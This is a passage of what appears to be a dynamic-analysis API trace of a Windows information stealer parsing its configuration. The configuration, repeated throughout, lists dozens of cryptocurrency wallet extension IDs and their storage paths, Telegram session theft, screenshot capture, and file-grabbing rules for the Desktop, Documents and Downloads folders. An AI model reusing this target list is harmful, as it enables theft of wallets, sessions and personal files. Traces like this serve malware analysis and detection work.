Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3350 [0260.178] LocalAlloc (uFlags=0x40, uBytes=0x1aac) returned 0x6be5c8 [0260.178] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.179] LocalFree (hMem=0x6be5c8) returned 0x0 [0260.179] StrStrW (lpFirst="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.179] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.180] LocalFree (hMem=0x6b9720) returned 0x0 [0260.181] LocalFree (hMem=0x6bb158) returned 0x0 [0260.181] LocalFree (hMem=0x6bcb90) returned 0x0 [0260.181] StrStrW (lpFirst="ews_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.181] lstrlenW (lpString="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3276 [0260.181] lstrlenW (lpString="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3276 [0260.182] LocalAlloc (uFlags=0x40, uBytes=0x1998) returned 0x6b9720 [0260.182] lstrlenW (lpString="ews_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension 